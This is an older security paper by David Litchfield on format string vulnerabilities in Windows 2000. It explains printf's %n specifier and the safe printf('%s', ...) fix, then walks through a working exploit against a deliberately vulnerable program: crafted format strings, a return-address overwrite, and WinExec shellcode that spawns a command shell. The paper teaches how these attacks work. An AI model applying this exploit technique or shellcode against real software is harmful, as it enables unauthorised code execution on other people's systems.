# Windows 2000 Format String Vulnerabilities

**By**
**David Litchfield**
**Director of Security Architecture**
**@stake**
**http://www.atstake.com**

Anybody who has programmed even a little C will have come across the printf() function. Indeed the first program of almost of C text book will be the ubiquitous "Hello, World!" program – a tradition started by Kernighan and Ritchie in their "*The C Programming Language*".

```
#include <stdio.h>
void main(void)
        {
                printf("\nHello,World!\n\n");
        }
```

For those that haven't, yet, programmed in C, when compiled and run this program will simply write "Hello, World" to the screen. printf() doesn't simply just print characters to the screen – the "f" on the end of "printf", and the other related functions such as fprintf(),vprintf() and sprintf(), stands for "format" – so the function is really print format. The format part allows the programmer a high degree of control on how their text is to be displayed and in what fashion – in other words it allows the programmer to format their output. This is done by substituting format specifiers in the format string for values or data. For example, assume the programmer wants to display the value of an integer type variable called "dVal". The could print this to the screen using the following format string:

printf("The value is %d",dVal);

What is happening here is that the "%d" is replaced with the value of "dVal". If the programmer wanted to display the same value in hexadecimal format the could use the following:

printf("The value in decimal is %d and in hexadecimal is %x",dVal,dVal);

Here the "%d" is substituted for the decimal version of the value of "dVal" and the "%x" in the format string above is substituted for a hexadecimal representation of the value of "dVal". There are various format specifiers:

| Specifier | Purpose |
|---|---|
| %c | Formats a single character |
| %d | Formats an integer in decimal notation (pre ANSI) |
| %e , %E | Formats a float or double in signed E notation |
| %f | Formats a float or double in decimal |
| %I | Formats an integer (like %d) |

| | |
|---|---|
| %o | Formats an integer in octal |
| %p | Formats a pointer to address location |
| %s | Formats a string |
| %x, %X | Formats an integer in hexadecimal |

Further to this, the programmer can control not just how datatypes are to be displayed in terms of type and format but also they can control any padding, field width and alignment.

One of the format specifiers not listed in the above table was the "%n" specifier – because it has a special purpose – and the role it plays in format string vulnerabilities is crucial. The "%n" specifier, when used, will write the number of characters actually formatted in by printf'ing a format string to a variable. To clarify:

The "%n" format specifier used to state the number of bytes that are actually formatted in one way or another. To be able to do this it obviously needs a place to store this number and so the programmer needs to give it a slot in memory that it can use for this purpose. Consider the following C code:

```
1. #include <stdio.h>
2. int main()
3. {
4.   int bytes_formatted=0;
5.   char buffer[28]="ABCDEFGHIJKLMNOPQRSTUVWXYZ";

6.   printf("%.20x%n",buffer,&bytes_formatted);
7.   printf("\nThe number of bytes formatted in the previous printf statement
         was %d\n",bytes_formatted);

8.   return 0;
9.  }
```

When compile and run it will display the following output:

```
0000000000000012ff64
The number of bytes formatted in the previous printf statement was 20
```

What is actually happening here? We declare a variable of type int in line 4 and call it "bytes_formatted". In line 6 the format string specifies that 20 characters should be formatted in hexadecimal ("%.20x") using buffer and when this is done, due to the "%n" specifier write the value 20 to bytes_formatted. This means that we have written a value to another memory location. Now, this in and of itself is not a major issue, considering that when compiled the user can do nothing to influence the value written or the address it is written to but due to a certain programming flaw it may be possible for these values to be manipulated and if this can be done then it may be possible to gain control over a program's execution.

The flaw arises when a programmer passes a string to one of the format functions with out a format string specifier. To explain this further consider the following C source.

```
#include <stdio.h>
void main(int argc, char *argv[])
        {
                int count = 1;
                while(argc > 1)
                        {
                                printf(argv[count]);
                                printf(" ");
                                count ++;
                                argc --;
                        }
        }
```

When compiled and run it simply does the same thing as the echo program:

```
Prompt: myecho hello
        hello
Prompt: myecho this is some text
        this is some text
```

So it justs spits back what we feed in – or does it? Try:

```
Prompt: myecho %x%x
        112ffc0
```

We fed myecho "%x%x" and it didn't print it out – just a hex number? The reason this happens is because these are format specifiers and because they are being passed to printf() without an associated format string printf is interpreting our characters as if it *is* the format string! (Incidently to make this safe the programmer should have written

```
printf("%s",argv[count]);
```

as opposed to

```
printf(argv[count]);
```

This would remove the flaw.) Anyway, moving on – what does this buy a potential attacker? Well, using the power of the "%n" format specifier they can write an arbitrary value to a memory location of their choosing. If they can do this – they can control the program's execution. For example, on Intel, they could overwrite a saved return address on the stack and point it to their own exploit code so on the subroutine returning their

code would be executed instead of what was *supposed* to be executed. The manner by which format string vulnerabilities are exploited depends upon the function being used, the operating system and the processor type.

## Format String Vulnerabilities on Windows 2000/Intel

Consider the following vulnerable code:

```
#include <stdio.h>

int main(int argc, char *argv[])
{
        char buffer[512]="";
        strncpy(buffer,argv[1],500);
        printf(buffer);
        return 0;
}
```

This program copies the first argument supplied to into a buffer and then simply passes this buffer to printf. The vulnerable line of code is of course the line that reads:

```
        printf(buffer);
```

as we can supply a format string as the first argument to this program which will then eventually be passed to the call to printf(). Assume when compiled this program is called printf.exe.

In terms of what were going to do here, we will attempt to overwrite a saved return address on the stack with a return address of our choosing. This address will point to some exploit code that we have supplied. To do this we need to have the printf statement format the exact number of bytes that matches the address we're going to use. For example if our exploit code can be found at address 0x0012FF40 we're going to have to cause the printf statement to format 0x0012FF40 number of bytes. This is fairly trivial - our format string would look like this:

```
        c:\>printf %.622496x%.622496x%n
```

This would cause 1244992 bytes to be formatted by the printf statement - this number in hex is our address 0x0012FF40. This on its own is not enough though. We need to put in our exploit code and these bytes, too, will take up part of this number. Assuming we wanted to spawn a shell - this takes less than 40 bytes of exploit code on Windows 2000 so we modify our format string accordingly by putting our code in as well as subtracting 40 from one of the 6222496's.

```
c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA%.622496x%.622456x%n
```

Note that, at the moment we're simply substituting our exploit code with a string of A's at the moment - we'll get around to adding that later. Further to this also note that we've subtracted 40 (the number of A's) from one of the 622496 to give 622456. We would run this and an access violation would occur - the program attempts to write to address 0x41414141 which is not initialised - hence the AV. When the AV occurs debug the program. As you'll see, the offending line is

```
mov     dword ptr [eax],ecx
```

This attempts to mov(e) the contents of ecx, which happens to be 0x0012FF40 (exactly the number we were looking for) into the address pointed to be the eax - which is currently 0x41414141 and as was already stated this area of memory has not been initialised and the reason we access violate. Whilst we're debugging we need to look for our exploit string - remember we only guessed that our exploit string would be found at address 0x0012FF40 - and as it happens it doesn't exist there - it can be found at address 0x0012FD80 - not too far off - but this is an exact business so we need to be exact. Accordingly we will need to modify our format string. Before doing that though we need to find a suitable target - a saved return address to overwrite. We find a likely target at address 0x0012FD54 - this seems to hold a saved return address - 0x00401077 - so we'll use this to begin with. What we're going to now need to do is overwrite the contents at this address with 0x0012FD80 - the address where our exploit code can be found. If we manager to do this when the routine that, when called, pushed this saved return address on to the stack, returns our address will be the one returned to and the processor will start executing our code. So moving on, how do we overwrite what is found at address 0x0012FD54 - at the moment we're attempting to overwrite what would be found at address 0x41414141? Well, that's a clue. At the moment the %n specifier tagged onto the end of our format string is taking its pointer from somewhere within our format string. What we need to do is get the %n specifier to take it from the end of our string which is where we'll tack on the address we want to overwrite. We do this by adding some more %x specifiers to our format string. For the moment, to help us find the point where this happens we'll add BBBB on to the end of our format string:

```
c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.
622456x%nBBBB
```

Using this our program now attempts to write to address 0x78257825 - when translated into their character equivalents the hex number 0x78 is a lower case 'x' and 0x25 is the percent symbol - '%' - so we've now landed somewhere in the '...%x%x%x%x...' portion of our format string so we need to add some more:

```
c:\>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

This time we hit it exactly - we attempt to write to the address 0x42424242 so now instead of placing BBBB here we need to replace this with our address where we can find our saved return address - 0x0012FD54. Unfortunately we can type the ASCII values for 0x12 or oxFD easily at the console so we'll write another program that can execute printf for us with these values in. Before we do this though with all those extra %x specifiers in our format string the value with which we'll be overwriting will no longer be the pointer to our exploit string - 0x0012FD80 - with our format string the way it is currently our value is 0x00130019 - we're 665 bytes over so we will need to subtract this from 622456 to give 621791. So our program:

```
#include <stdio.h>

int main()
{
	char buffer[500]="printf
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%.622496x%.621791x%n\x54\xFD\x12";

	system(buffer);

return 0;
}
```

Compiling and running this causes a new access violation: The instruction at 0x0012FF90 referenced memory at 0x00000030. Note - The instruction at 0x0012FF90 - this is a stack address and it's obvious that our processor is attempting to execute code on the stack and this means that our format string exploit has worked! We've succeeded in overwriting a saved return address with an address of our choosing and have landed back there when the last ret(urn) was called. Now we need to start putting exploit code in. Just to make sure that we are getting back the first thing we'll do is replace the first four A's with break points.

```
#include <stdio.h>
int main()
{
	char buffer[500]="printf ";
	charbuffer2[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
	%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n\x54\xFD\x12";
	strcat(buffer,"\xCC\xCC\xCC\xCC");
	strcat(buffer,buffer2);
	system(buffer);
```

```
	return 0;
}
```

Indeed, on running we hit out break point - so we *are* back in our code. Now we know we *have* gained control over the program's execution we can set about placing our exploit code in. Assume we wanted to spawn a shell our code would be as follows:

```
push ebp // Procedure Prologue - often not needed
mov ebp,esp // Procedure Prologue - often not needed
xor edi,edi // Get some NULLs
push edi // Push them onto the stack
mov byte ptr [ebp-04h],63h // Write 'c' of cmd
mov byte ptr [ebp-03h],6Dh // Write 'm' of cmd
mov byte ptr [ebp-02h],64h // Write 'd' of cmd
push edi // Push NULLs again (2nd Param for WinExec())
mov byte ptr [ebp-08h],03h // Turn it into SW_MAXIMIZE
lea eax,[ebp-04h] // Load address of cmd into EAX
push eax // Push it onto stack (1st Param for WinExec())
mov eax, 0x77E9B50E // Move address of WinExec() into EAX
call eax //<---- Call it
```

When the opcodes for these are extracted and added to our program our code is as follows:

```
#include <stdio.h>

int main()
{
	char buffer[500]="printf ";
	char exploit_code[]="","\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6
\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x01\x8D\x45\xFC\x50\xB8\x0E\xB5
\xE9\x77\xFF\xD0\xCC";
	char  buffer2[]="AAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n \x54\xFD\x12";

	strcat(buffer,exploit_code);
	strcat(buffer,buffer2);

	system(buffer);

return 0;
}
```

When compiled and run a new shell is spawned. This is the simple way to exploit a format string vulnerability on Windows 2000. Recapping what we did - we formatted the number of bytes that matched the address where our exploit string could be found and

overwrote a saved return address on the stack with this value so that when the subroutine returned it returned not to where it was supposed to but, rather, to our address instead and execution continued from there.

Depending upon the *printf function being used it may not be this simple. For example if the vulnerable code is using vsprintf, as was found in Van Dyke Technologies' SSH Server for Windows, Vshell, an attacker cannot choose a memory location of their choosing like they could with printf() by tacking it onto the end - they are limited to the "addresses" pointed to by the list of arguments of va_list and values thereafter. By looking at each of these values one of them may be of use - indeed in the case if VShell the thirteenth argument was an address that held a pointer to a function pointer and so when overwritten with pointer to a function pointer of the attackers choosing control over VShell was gained. For further details on this particular problem and patch/resolution information please see http://www.atstake.com/research/advisories/2001/a021601-1.txt

A note on Windows NT 4.0
Exploitation of format string vulnerabilities on Windows NT is considerably different from the way it is done on Windows 2000. This is because on Windows NT the width specification for *printf() functions is limited to 516 characters:

```
printf("%.516x",foo);
```

is fine, but

```
printf("%.517x",foo);
```

will cause an internal overflow within the guts of the *printf() functions. The reason this presents a problem is because we will more often than not need to write a large value to our chosen memory location. The way we control the size of this value is with the width specifier:

```
printf("%.500x%n",foo,bar);
```

would write the number 500 (0x1F4) to the address of bar. Now assuming we wanted to overwrite a saved return address stored on the stack with an address that points to some exploit code we have supplied (which will also be found on the stack) – well the stack is usually around 0x0012ffff on the Windows NT platform and the address of where our exploit code will be found will be of the same order of magnitude so to be able to overwrite the save return address with a number this big we would have to format "%.500x" around 2500 times – which would require a buffer of 15,000 bytes (2500 multipled by the number of characters in "%.500x'. The chances of this happening are slim. On Windows NT, then exploitation is

not as straight forward as on Windows 2000 .